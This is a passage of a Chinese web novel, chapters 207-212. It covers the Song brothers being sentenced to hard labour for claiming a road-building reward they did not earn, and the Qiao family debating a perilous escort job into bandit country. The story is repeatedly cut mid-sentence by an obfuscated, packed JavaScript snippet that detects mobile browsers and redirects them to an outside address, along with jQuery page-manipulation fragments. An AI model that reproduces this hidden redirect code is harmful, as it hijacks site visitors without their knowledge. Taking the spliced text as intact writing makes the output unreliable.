l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615485|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋瑞儿推开。 这混小子,等回去了再收拾他,少不得饿他两三顿。 “滚开,我去,我是你大哥,你敢跟我抢,简直是目无尊长。”宋老大抢着上前,一心想着拿到了银子,大房独自享用。 到时候,最多分沈老太吃几块肉,至于二房,就在一边干瞪眼吧。 想到这个情形,他只觉得心中一阵快意。 “大哥,一开始本来是我要去的,这种事情,就不劳你辛苦了。” 宋老二跟宋老大,你争我抢,推推攘攘,最后干脆大打出手,你一拳我一脚,涨红着脸,互不相让。 村民们看到他们打架,都给他们让了一个范围。 大家都觉得诧异,两兄弟在这里打什么呢?虽然宋家人很多行为都很奇葩,但是这还是第一次见到两兄弟打架。 这是当众进行窝里 斗啊。 几个官差脸色一下子沉了下来,他们来送功德碑,来送赏银,这两个村民居然当着他们的面打架,真是不把他们放在眼里了? “哎哎,你们这是在做什么,住手,停下来。”当头的官差立刻喝止。 可两个人打得神志错乱,纷纷叫嚷着“是我的功劳”,愣是没有把官差的话听进去。 最后还是两个官兵上前,把他们强行给拉开。 两人气喘吁吁,身上青一块紫一块,相互不服气地瞪着对方,要不是被人死死拉住,已经又朝着对方冲过去了。 “怎么回事啊你们两个,咋就打起来了?” “官爷,我想跟您说,我们也到路上通路了,只是没记下我们的名字,我们是去了一两天,村民们没有看到。”宋老二赶紧迅速地说,一边得意地看着宋老大。 刚才他早有防备,一拳打在宋老大的嘴巴上,宋老大疼得说不出话来。 跟他争什么争?还不是要由他来说,这个功劳到底是他的。 宋老大想说话,可是一开口就冒血,一摸才发现,他一颗牙齿被宋老二给打掉了。 村民们一听,原来是在争这个,太好笑了,宋家人一天影子都没有见到,沾了义士之村的光也就罢了,还想要银子? 第207章 想滥竽充数?带走服苦役 “官爷,他们宋家根本就没有去通路,一刻都没有去过,我们可以作证。” “是啊,他们一开始就是坚决不去的,通路是乔家人组织的,他们还想跟乔家人要银子呢,乔家人没有答应,他们就一天都不曾去过。” 官兵一听,原来是浑水摸鱼的,当头的冷笑一声:“没有干活,就想拿银子,还骗到我的跟前来了,谁给你们的胆量?” “官爷,我们,我们真的去了,是大家忙着干活,没有注意到我们,我们指天发誓,真的去了。”宋老大忙说。 “你们没有看到,就是我们宋家没有去,可不可以不要这样不讲道理。”宋老二对村里人怒目而视。 “是谁不讲道理了?你们明明没有去,为了从官爷这里骗银子,偏要一口咬定自己去了。” “如果你们真的去了,会没有一户人家为你们说话?这里头还有你们的宗亲呢。” 宋家人的宗亲都躲在人群里不冒出来,免得被宋家人这种奇葩行为所连累,他们其实跟乔家人也不太对付,不过是想着如果不去了,以后见到村里人面子上过不去,要被人看轻。 所以三天两头去一次,没想到那一次正好碰上了监工,被记上了名字,撞到了运气。 他们真是庆幸去了,才干那么几天的活,就有二两银子。 去哪里找这样的好差事。 宋家人就用目光搜寻着宗亲,希望宗亲能够站出来为他们说话,可是他们的宗亲都偏开了脸,把自己躲得更好一点。 他们就知道,这些人是怕被牵连呢。 一个个的,真没良心。 “敢当着老子的面撒谎,官家的好处,也是你们想薅就能薅的吗?把他们两个都绑起来,送去挖山开路,半年后再放回来。” 当头的被败了兴致,一脸冷沉地下令。 好好发着银子,接受着村民爱戴感激的眼神,突然冒出了这两个大睿智。 宋家人脸色都变了,他们没想到,不过是想要占点便宜,这就要被送去服苦役。 宋老婆子赶紧带着大大小小的家人跪下来恳求道。 “官爷,是他们两个一时糊涂,你就放过他们吧,他们下次再也不敢了。” “你这个当娘的生而不养,看到他们坑蒙拐骗,居然也不出言制止,为老不尊,要不是看你年纪大了,也要把你一道带走。”当头的可是一点也不给情面。 这样一说,沈氏和陈氏到了嘴边的求饶,又立刻咽了下去。 她们可不想也跟着倒霉。 女的被带走了,也是要每天不间断地舂米,浆洗衣服。 宋老大和宋老二哀求着,跪在地上,砰砰磕着头,一把鼻涕一把泪地流着。 可是没有用,他们的嘴巴很快被塞住了,全身像捆螃蟹一样,捆得结结实实的,又被绑在了马背上。 赵里正上前,对着当头的拱手:“抱歉官爷,是我这个里正没有当好,以前也教导过宋家人,实在是他们屡教不改,我也是无能为力啊,有官爷管教,一定让他们好好长一长教训。” 当头的看得出来,他是个正直不阿的,道:“不怪你,哪个村没有几个败类,你们村子的人几乎都自发上阵去修路,给官家和行人都解决了麻烦,担得起大义之村的称号。” “刚才我听说,是乔家人组织修路,既然如此,乔家人就额外再赏一两吧。” 乔老大上前,双手接过银两。 “走了,各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615486|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请自便。”当头的踩着马镫上了马,其他官兵也跟着上马,带着宋老大和宋老二离去了。 宋老大和宋老二被绑在马背上,瞪着一双眼睛,呜呜呜地叫着,满眼的绝望。 他们恳求村里人为他们说情,可村里人都觉得他们活该,一个眼神都不想给。 “天啦,两个顶梁柱都被带走了,这下子叫我们女人在家里咋办呀。” 沈氏一屁股坐在地上,呼天抢地地大哭起来。 陈氏也跟着哭。 回头一看,沈老婆子已经晕过去了。 因为去做苦役,有人会被累死,还有人会被打死。 宋老大和宋老二能不能好好地回来,还不一定呢。 宋瑞儿在一片哭声中站着,眉头紧皱,他就想不明白,为什么乔家一个个聪明,知道怎么去做事,怎么去行动,宋家却这样蠢笨呢。 在官兵面前行骗,这种事情本来风险就很大,为了一二两银子,宋老大和宋老二就这样豁出去了,是不是脑子有问题? 他顿时生出了一种有心无力的感觉,更是欲哭无泪。 不由得抬头看了看苍天。 没有谁同情宋家人,大家拿着银子,高高兴兴回家吃中午饭了。 想想能拿到这份钱,还是因为乔家人组织,他们也是真心地去免费帮忙,没想到无心插柳柳成荫。 还让这个村子得到了荣誉。 大家又忍不住多和乔家人唠嗑了几句,热热闹闹的。 赵里正则带着一伙子人,去村路口立碑。 人都走光了,只剩下宋家人在坝子广场哀嚎。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第208章 匪贼横行夔牛国 算起来,距离上次走镖已经过去了一个多月。 下大暴雨耽搁了半个月,路面又刚刚才疏通,就算前面有镖,也是走不了的。 出了院子一看,杨家两兄弟都来了,两个人一人牵着一匹马。 “杨大哥,杨二哥,正好家里在吃饭,你们快请进来。” 乔老大热情地说。 就回头对家里人道:“给杨大哥,杨二哥备好碗筷,再把那一坛子阿婆清抱上来。” 一般乔家男人中午不喝酒,晚上才喝,毕竟要干活,但现在杨家兄弟来了,不好好喝一场,怎能尽兴。 杨家兄弟忙着赶路,早饭都没有吃,闻到乔家屋子里传来的饭香,肚子里立马折腾了起来,咕咕呱呱地叫着。 两人是跑江湖的粗人,也不拘那些小礼,到了兄弟家里,别说是正好赶上饭了,就像没有,也要让他们做来招待。 “好,既然有吃的,我兄弟也不客气了。”杨老大哈哈大笑。 看到这小破院子,有点诧异,原来原先乔家人的日子那样不好过,好在后方在盖房子了,看规模还是很大的,再看那些砖瓦和木料,都是按顶好的买来。 可以估计,乔家盖那个大院子,起码要花五百两。 有时候人一低谷就要很多年,甚至几辈人,但时来运转,就是突然的事情,一切运势都哗啦啦地来了,怎么都挡不住。 两兄弟跟大家一一认识,一一打过招呼,热热闹闹地入席。 乔老三把那个酒坛子揭开,给他们倒满了酒,乔家男人又每人来了一碗。 转眼之间,酒坛子就空了小半。 “又下大暴雨又堵路的,这一个月来大家可都好啊。”乔老大说。 “都好,好着呢,路通了,一切又恢复正常了。” 乔家人知道,两兄弟一定是带着活儿来的,他们要以最好的状态来迎接。 “杨大哥杨二哥你们呢,这段时间有没有在跑任务。” 杨老二摆摆手:“大暴雨后,咱们越州南部路面受损不轻,各大路段这两天才完全疏通,听说从咏关县到你们村的这一段是最严重的,我们还以为没有通路呢,本来是过来碰碰运气,没想到一路畅通无阻。” 杨老大接着说:“要说任务当然是有的,不然来找你们做干啥,就为了蹭你们一顿饭呀。” 大家都笑了起来,气氛很是快活。 “是这样的,这一次负责押一批价值五万两的货,不仅仅是到边境,还要往东进入夔牛国,在夔牛国里行三百里路,才到达目的地。” “夔牛国的这一段路,因为经常有商贸队伍经过,所以少不了生乱的匪贼之流,这两年来,匪贼被夔牛国官府肃清了不少,但危险也是避免不了的,毕竟一条路上押送的物资丰富,多少心怀不轨的人见了都会眼红。” 价值五万两的货,夔牛国三百里路,有危险,这是大家提取到的关键信息。 这一趟走下来,怕是能拿到不少银子。 杨老二给大家算:“价值五万两,按照一百成一,就是五百两,本来超过一百里加收二十两,可是这一次情况不太一样,要进入夔牛国,安全自然比不上在大泽国,所以我们跟货主商定好了,超过一百里路多给十两,就是三十两。” “算下来,这一批货的走镖佣金是五百两加二十两加九十两,一共六百一十两,镖队拿七成,就是四百二十七两,一共七段路,从越州押送到咏关县的兄弟们,走完了三段,他们拿七成三,就是一百八十三两,还有二百四十四两是咱们拿,这其中,咱兄弟跟你们平分,分走五十四两,你们可以到手一百九十两。” 加价的路段,真要细算起来太麻烦,因为除了他们两个总头,谁都没有走全程,那就直接算平均好了,当然,乔家人走的路充满了危险和不确定,那他们兄弟俩就跟他们平分,本来他们作为总头,是要多分一点的。 一百九十两,乔家人倒吸了一口凉气,还从来没有什么时候,一下子赚到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615487|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大一笔钱呢。 现在家里有二百一十两,再来这么一个数目,那盖房子花掉的钱,又很快攒起来了。 但是他们也清楚,这么多的钱,不好拿,甚至连命都没法保证。 像杨老大和杨老二这样跑惯了险路的,一般的危险根本入不了他们的眼,他们也不会特意地提。 说到夔牛国的危险,那肯定是相当的危险。 大家都知道,边境线往东那个叫夔牛国的国家,虽然小是小吧,但很些年来动乱不断,甚至侵扰到大泽国的边境。 而且这个夔牛国,最出名的就是匪贼横行,听说这些贼人还有勇有谋,作战的能力犹如军队,不同的队伍之间相互打配合,很是难缠。 有时候朝廷对外作战兵力不够,还专门去招募这些贼子。 别看这些年来夔牛国官府打击这些匪贼,但匪贼这么多,也是他们养虎为患的后果。 村里人吓唬不听话的小孩,都要说一句,当心夔牛国的老匪公把你拐走。 这一次不比上一次,是真的可能搭上性命,真的可能站着去,横着回来。 乔老太前面脸上还带着笑,可是听到夔牛国三个字的时 候,笑容已经消失了大半。 乔老头喝了两口闷酒。 “侄儿,夔牛国,谁都知道是啥地方,让他们去走镖,是不是太危险了。” 杨老大郑重道:“大伯,我就这么着跟你说吧,风险有多大,收获就有多少,不然您想想,人要做啥才能一下子赚到这么多银子,多少人一辈子都攒不到这个数目。” 杨老二看了一眼二老,道:“知道你们二老爱子心切,我们也不是强制,本着自愿的原则,要是乔家兄弟不愿意跑,那也没关系,大家还是兄弟,以后有不那么危险的活儿,还是会来找大家。” “总之,这个要由你们自己决定。” 乔家人都沉默了下来,刚才还在热热闹闹地喝酒,现在气氛却变得沉闷了许多。 第209章 这一次不去,以后没得混 男人们很清楚,如果这一次他们不跑,以后就没有他们的事了。 杨老大,杨老二跟他们称兄道弟,关系也处得好,但还是上下级的利益关系。 危险的路段,他们不让镖局的兄弟跟着跑,只给自己兄弟拿轻松的钱,那些镖局兄弟都比他们乔家人重要多了。 可以说,正是因为危险路段有需要,才有他们的用武之地。 如果他们怕死推辞,以后杨老大和杨老二不可能带他们上道。 而且跑这一趟,可以拿到一百九十两,也的确是让人眼馋。 危险,他们当然忌惮,死,他们当然畏惧,但如果因此错失了今后的大好机会,是很可惜的。 而且,比起害怕,他们心中更多的,是挑战的勇气。 而勇气,可以支撑起所有的力量,甚至激发出更大的潜能。 乔老大开口:“每天晚上,都在练习杨大哥给的那本书上的招式,自问已经练得比较熟了,不知道投入实战,会是啥样的效果。” “我也是,总是幻想着前面有敌人,还是个能打的那种,我要怎么把他收拾得服服贴贴。”大用接道。 乔老三:“是啊,咱们勤快练习这些,就是为了应付更凶险的情况,上次遇到的那些人有啥挑战性?咱们只会一点三脚猫,就把他们全部都消灭干净了,有厉害的,我很乐意去挑战。” “都说夔牛国的匪贼厉害,我倒要看看,厉害到哪一种程度,如果我们这一次大大杀了他们的威风,岂不是要扬名。”乔老三怀着壮志说。 乔家男人们一个个表示,要去,而且是非去不可。 大家说着,把酒端起来一饮而尽,表明决心。 “杨大哥,杨二哥,是今天就要出发?” “是。”杨老大见他们很快想开了,脸上露出了笑容:“如果不耽搁的话,十天之内回得来。” “成,吃好这顿饭,大家就出发。”乔老二点头。 男人们是摩拳擦掌的要上阵,二老和女人们却是垮着一张脸,好久没有动一下筷子。 “先别忙着做决定。”乔老太道:“吃完这顿饭再说吧。” 她老婆子也不是胆小怯弱之辈,所以上一次送镖到边境,哪怕知道途中会有危险,她也让他们去了。 凭着多年来在山中打猎练出来的本事,她就不信,那些山贼能把她的儿子孙子们咋样,而且天子脚下,走镖护镖,总觉得有些底气。 可是夔牛国不一样,那是出境,没有本地官府的保护,等于没有了后盾,那些异国人又凶狠,情况极其复杂,一不小心就把命丢在那里。 杨老大也理解老人家的心情,没有哪家老人,会愿意看着自己的孩子置于危险的境地。 而且,不让镖局的兄弟们去夔牛国,他也是有私心的,这样一来,他就更加不好催促。 “好,先不谈这事,大家该吃吃,该喝喝,等吃好了,你们家里人好好商量一下,拿个主意,不用着急,我们可以等上小半天。” 见二老明显不同意他们去,女人们也是一副不赞同的样子,大家的好兴致一下子减了大半。 即便如此,他们还是要去的。 作为男人,这是他们发挥最大作用的时候了,怎么能让这个家都由镰儿扛着? 不过,杨老大和杨老二在这里,他们也不好在饭桌上起争执。 “再说,先喝酒。”乔老大端起酒,跟二人赔笑。 乔镰儿提前吃好,找了些布,每个布里都包了一包辣椒面。 “镰儿妹妹,你在做什么呀。”乔吱吱看到了问道。 “这是辣椒面,他们遇到那些匪贼用得上,可比刀剑还要管用呢。” “啊,可是爷和奶不让他们去。” “那么一大个个的男人,他们要去,谁又拦得住?”乔镰儿说:“这一次他们不去,以后就没机会去了。” 看伯父兄长们的决心,表面上答应不去,他们也会偷偷跟着杨老大杨老二走的。 他们去,也不是为了逞能啥的,他们想为这个家做贡献,想要发挥更大的用处,她能理解。 而且,走镖的确是这个家的一大项收入,像这种肥差,多少人都求不来,也走不了。 偏偏是乔家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615488|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天时地利人和地碰上了。 既然要去,就给他们做好准备。 等到饭一吃,二老就把这些儿子孙子的喊进堂屋。 “杨大哥,杨二哥,你们先喝茶,吃点瓜子糖果。”乔老三迅速准备好这些,免得怠慢了客人。 “哎,你们慢慢商讨。”杨老大道。 他和杨老二对视了一眼,这件事,只怕是有点难办喽。 乔镰儿把那些辣椒粉都打包好,她觉得可以准备一点迷药的,但是算了,一不小心就会迷到自己,还是辣椒粉好使。 然后,又把大家的水囊给加满,加的都是空间里的神符之水,不仅可以增强战斗力,还能加快伤口的痊愈速度。 “镰儿,要不你也劝劝你的伯伯堂哥们,他们未必听你爷奶的话,但是会听你的。”乔云妮忧心忡忡地说。 “娘,他们想去,如果不让他们去,他们会一直挂在心头。” “你的意思是,你也支持他们去夔牛国?”乔云妮又看到乔镰儿准备好了东西,更加肯定了她的想法。 “不是支持不支持,这是他们想做的事情,我是尊重他们的意愿。” “可是万一——” 乔镰儿看着乔云妮:“娘,这一个月来,我天天都看着伯伯堂哥们练习招式,他们就是在为这一天做准备,现在机会终于来了,一个个摩拳擦掌的准备上阵呢。” “反正他们是一定要去的,与其苦着一张脸,让他们落下心头负担,还不如鼓励他们,祝福他们。” 其他女人也听到了她的话,都默然不语,心中摇摆不定。 第一次的时候也是知道有危险,男人们还是铁了心去了,这一次也不例外,看他们在饭桌上的态度就知道了。 可是,她们实在是担心。 不管哪一个有个三长两短,都是一家子一辈子走不出去的伤痛。 这时候堂屋的门突然打开了,乔老太拿着鸡毛掸子追打着小猛出来:“皮厚了是吧,毛长齐了是吧,骨头硬了是吧,还说要趁我和你爷不注意偷偷走人,你倒是走一个给我看看,我先把你的腿打瘸。” 第210章 乔老太“阴谋”得逞 乔老太揍得又快又准,鸡毛掸子一下下毫不留情地落在小猛的身上,把小猛揍得嗷嗷大叫。 小猛一边摸着辣烫的屁股,一边不服气地边跑边嚷:“又不只是我一个人这样想的,大伯二伯爹,大堂哥二堂哥大哥,谁不是偷偷藏着这个想法。” 他只不过是把大家的想法说出来而已,结果就成了那个出头鸟。 “哇哇哇,奶你别光打我呀,你也打一打他们。” “死在路上咋办,就算没有死缺胳膊少腿的咋办,难道还要指望我一个老婆子来养你们。”乔老太不依不饶。 小猛爬上了院墙,又赶紧爬上了屋顶,坐在上面按着心口气喘吁吁。 “还爬,你以为我不能爬,你爬到天上去,我都能顺着藤收拾你。”乔老太也去爬院墙。 可是她年纪大了,腿脚实在是有点不利索。 “奶,算了吧,万一不小心摔到。”大用赶紧说道。 乔老大:“是啊娘,有事情好商量,你一言不合就开打,这,这哪里像话嘛。” “你们都给我闭嘴,先收拾这个小子,再收拾你们,一个都别想逃过。” 乔老太剜了他们一眼。 男人们就给女人们使眼色。 眼看着乔老太真的要爬上院墙了,冯氏和乔云妮去把乔老太拉住。 “娘啊,还是好好说吧,去也好不去也好,总得心平气和的,家和万事兴,而且他们一个个这么大的男人,就算打残了,也是拴不住的。”乔云妮说。 听到家和万事兴几个字,乔老太才勉强停下来。 冷冷地瞥男人们:“我就知道,你们就算残了,爬也要爬着去。” 大家不语,因为乔老太说的是真的。 “你们就算四肢都没有了,也要像虫子一样蠕动着去。” 想到那样的画面,大家都忍不住想笑,可是也知道这个时候不能笑,一个个都憋得好辛苦。 乔老头又嗑起了旱烟杆,一大把一大把烟叶地点燃。 “杨家侄子,你们就告诉我,他们这一去,活命的把握有几成。” “这个——”杨老大犹豫了,要怎么说呢,因为他并不知道,这段时间乔家男人的本事长了多少。 而且他也不能这样安慰两个老人,说他们能够百分百全部活着回来。 “这样吧,我们做出一点让步,这一单子走成了,你们直接拿走二百两。” 二百两,让乔家男人的心,再一次一漾。 不敢想象为这个家带来这么多收入,实打实拿到手了,他们会有多么骄傲。 乔老头审视的目光,打望着家里的这些男人,都是或者即将成为小家各房的顶梁柱,他们身上那种勇气和蓬勃的生命力,是一个家里的支撑所需要的。 这样的状态,是需要鼓励的吧—— 现在家里主要是镰儿出主意赚钱,靠这么小的一个女娃子支撑着,的确有点不像话,大家多少感到有些愧疚。 虽然一家人不分你我,但每个人都想证明自己,特别是从小就知道自己肩负一个家责任的男人们。 乔老头也是男人,他能理解,想着这些,念头就松动了。 倒不是钱的问题,而是看着现在家中男儿的模样,他觉得有种。 再看看女人们,孩子们,也不是那么抗拒男人们出去,乔老头又看到,乔镰儿准备了好些东西,一样七份,都是按人头准备。 他不由得想到,一开始镰儿就知道他们是一定要去的,所以也不劝阻,而是去给他们收拾行程。 “大伯,我就这么跟你说吧,我和我大哥走镖多年,经历了无数生死,自问经验还算丰富。” “我们会尽最大的能耐,护住乔家的兄弟们。” “而且,夔牛国我们去过,虽然走的不是那条路,但和当地打过交道,对那里的风土人情,也不是一点经验都没有。” 杨老二说了这些,又道:“要是这一单走成,他们会引起镖局的注意,对以后大有好处。” 乔老头思虑半晌:“老婆子,我们两个商量一下。” 他没有注意到,乔老婆子嘴角边露出一抹得逞的笑意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615489|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哪里是不让孩子们去呀,虽然她也怕他们路上出事,但孩子们把这当成志向,她还能折了他们的翅膀不成? 她不想让老头子觉得,她和全家人一起,跟他的意见不一致,到时候他又嘀嘀咕咕的,觉得自己受了冷落。 那就假装和他统一阵线。 上次她已经领教过了,老头子还一整晚背对着他睡呢。 其实老头子不仅仅是在意孩子们,也是在意她和他是不是同一条心。 一把年纪了,小心思可多着呢。 唉,这样一想,乔老婆子又觉得自己有点心累。 二老把门一关。 男人们都知道这一次有希望了,都满怀期待地等着。 虽然不让去也会去,但他们还是想要得到家里人的祝福。 又看到镰儿准备好了东西,知道镰儿是支持他们的。 小小女娃子,就有这样的勇气和魄力。 “唉,真想把他们一个个的腿都敲断,这样就不用去路上断了 ,反正要面对那些凶险的人,早断晚断不如现在就断。” 堂屋里,乔老太唉声叹气。 “而且男人好好待在家里就是了,要当顶梁柱,上山下地也是顶梁柱,都想当英雄,有几个人能成为英雄的?” 这一句把乔老头心中的志气都给激发了出来。 “老婆子你这话不对,谁说男人好好待在家里就是了,外面有他们施展的天地,能够增长他们的本事,而且还能赚这么多银子,不比待在家里守着那几亩地好?” “而且现在暂时不摆摊了,几天才去县城一次,他们一个个高大威猛,长手长脚的,放在家里岂不是浪费。” “老头子,你这是心动了,想让他们去走镖了,不行啊,会有危险的,我想着就害怕呀。” “哎哟哟,我这把年纪可不惊吓啊。” 乔老头看乔老太退缩,更加志气澎湃,站起身来双手挎腰,抬头挺胸向山河。 “有啥害怕的,好男儿志在四方,让他们去闯,尽情地去闯,闯出个名堂来。” 第211章 她的信来了 堂屋的门打开了,乔老头一脸严肃地走出来。 大家都看着他,有些紧张。 其实心里都清楚,最难说服的不是乔老太,而是乔老头。 “不是不可以去,但是要保证,全部都好好地回来。” “哪一个要出了差错,其他的人我都要过问,要重罚。” “吃饭没筷子,吃菜不放油盐,家里的凳子都不准坐,睡觉睡在院子里,不,睡在猪圈里。” 大家的脸上都露出了笑容,要让古板的乔老头想开,还真不是一件容易的事情。 乔老大:“爹,我保证,我作为家中长子,到了外面就是我最大,一定会护好家里人。” “我,我是孙字辈里最大的,这几个弟弟,就让我来保护,有啥危险,我冲在前头。”大用说。 “得了,咋冲不冲的,大也好,小也好,家里都挂着,到时候,打好配合,不要做莽夫。”乔老太说道。 准备出发了,每人都领了一袋辣椒面,又在腰间挂上了水囊。 乔镰儿还给杨老大和杨老二也准备了辣椒面。 “小丫头,这东西好使?” 杨老大一看就知道,是用来迷糊人的,但是他没有见过。 “这是辣粉,飞到人的眼睛里,就只顾着疼了。”乔镰儿说。 “大家用的时候,记住捂住口鼻,转开脸。” 杨老大用手指蘸了一点,放到嘴里一尝,顿时被辣得跳了起来,赶紧去找水喝。 等到缓过来,哧哈哧哈哧喘了两口气说:“这玩意儿太辣了,比那些迷药还好用。” 不敢想象撒到眼睛上,会是什么样的效果。 “哇,有这么夸张吗大哥?” 杨老二说着也打开辣椒粉,他还偏不信这个邪。 杨老大想要劝他,但已经来不及了,杨老二直接舔了一大口。 “哇,哧哈哧哈,辣死我了辣死我了,水,水。” 他蹦着跳着,面红耳赤,眼泪都辣出来了。 乔家人哭笑不得,给他打来水。 “小丫头,你这是啥辣啊。”杨老大说:“你看看我们哥俩,都快要被辣成孙子了。” “这是一种品种叫做断魂辣的辣椒,比平时吃的要辣得多。”乔镰儿说。 “好,断魂辣,用在那些夔牛国的匪贼的身上,保管叫他们断了魂。”杨老大哈哈大笑。 行程准备打点好了,乔家男人出发。 在出发之前,女人们在他们身上系上了福牌,这是从县城首饰店买来的,镶了银框,中间是檀木,一面写着平安,一面写着纳财。 “安安心心去,心无杂念,把注意力都放在眼前的事情上,不要挂在家里。”乔老太说。 乔老头把一壶沉甸甸的酒挂在杨老大骑的马背上:“杨家侄儿,咱们乔家的这些儿子孙子,就托给你们了,劳烦你们多教给他们一点经验,让他们多长一点本事。” “乔大伯你放心,都是兄弟,这些孩子也是我们的孩子,但凡我们身上有的,能教的,都毫不保留。”杨老大诚恳地道。 虽然他不让镖局的兄弟去冒这个险,但是乔家的这些兄弟,他也绝不会有丝毫的怠慢。 他们正要走,身后传来乔镰儿的声音。 “大伯,你们等一等。” 乔镰儿走上前来:“如果有人问起,你们不要说去走镖,只说去找短活做。” 又看向杨老大兄弟:“大叔,还请你们也帮着隐瞒一下。” “为啥呀镰儿。”大猛不明白。 他现在浑身都是激越的志气,有一种去打天下的感觉,就等着村里人问起了,炫耀一把说是去走镖。 在意气风发的少年心中,去打别国的匪贼,甚至比挣二百两还要重要。 “财不露白。”乔镰儿说:“你们听我的。” 杨老大和杨老二对视一眼,他们就在越州这个大城的镖局,最近这两天,官府的人正在查各家酒楼铺子的利润情况,他们的老板偷偷打听了一下,好像是北方不太平了,朝廷亏空需要银两。 难道这个小丫头知道了什么风声? 可是这里还挺闭塞,她应该没有什么消息渠道来源,或许是在县城里注意观察,揣摩出来的情况。 这样一来,杨老大兄弟心中更是佩服。 “小丫头你就放心吧,我们不说带你的伯伯堂哥们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615490|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去走镖,就说带他们去干苦力。” 乔镰儿捕捉到了刚才两人只可意会的眼神,心想两人一定是知道什么了。 在这样的时局下,有的人会知道一些消息,大部分人会蒙在鼓里,有的人敏锐一点,大多数人迟钝一点,一场洗礼之后,每个人都会走向不同的命运,每个人的家里,所有所得,都会发生变化。 她渡不了别人,她只能救自己,救自己的家人。 “那就谢谢大叔了。”乔镰儿很是郑重地,给他们鞠了个躬。 这件事情实在是太重要,如果被村里人知道这一趟是去走镖,他们一下子要赚二百两,到时候肯定有人要举报。 见乔镰儿如此严肃,乔家男人那一份心全都收了,他们总觉得,乔镰儿这样做有理由。 以他们 的武力值,根本不用担心漏财不漏财,别人只有眼红的份,没有敢生事的份。 但镰儿这样坚定,那他们就藏着掖着。 果然,看到两个从来没有见过的高大黑脸男人带着乔家男人离开,气势很足,蓄势待发的样子。 就有村里人好奇问道:“你们这是去哪里啊?去走镖吗?” “带着乔家兄弟去干点苦力。”杨老大说道。 “啊,为啥要做苦力,你们家不是在县城摆摊?” “现在暂时不摆了,家里忙着盖房子,人手照应不过来。” 另一个村民打着哈哈说:“反正你们盖房子的钱已经赚够了,不用一大早天没有黑就往县城跑,平时再随便找点钱也够用了。” 听到这话,乔家人就知道,有的村里人是不希望他们赚太多钱的,哪怕大家平时关系还算和睦。 有些事情,还是能藏尽量藏吧。 男人们走了,女人们下午继续下地收稻谷。 乔镰儿打理了一下空间,种下的玉针香抽穗了,再过几天就可以收获。 她准备和乔吱吱上山去,“捡”一点水果回来。 一匹精瘦的快马,来到了乔家门口,从马背上下来一个从来没有见过的男子,三十岁左右。 这人第一眼就把乔镰儿给认出来。 “乔姑娘,你的信。” 第212章 二十个部落联盟的压力 信,谁会写信给她? 对方见她一脸懵,道:“乔姑娘,你忘记我了?” 乔镰儿看着这张完全陌生的脸:“啊?这位叔叔,我们好像真的没有见过。” 男子笑了起来:“一个月前,我和我家的两位公子来过这里,当时,你还和我们家公子在那座大桥旁打赌呢。” 乔镰儿突然想起来了。 裴祝锦,裴时玖。 而她也的确是跟二人说过,若有什么变化,方便写封信给她。 没想到一个月后,他们真的写来了。 其实,她并没有抱太大的期盼。 古时候传信一般是用信鸽,鸽子是根据熟悉的路线来送信,要经过培养和简单的训练,这里他们并没有培养信鸽,传信不是那么容易的事情。 她不过是给自己留一个心理安慰,赌那千万分之一的可能。 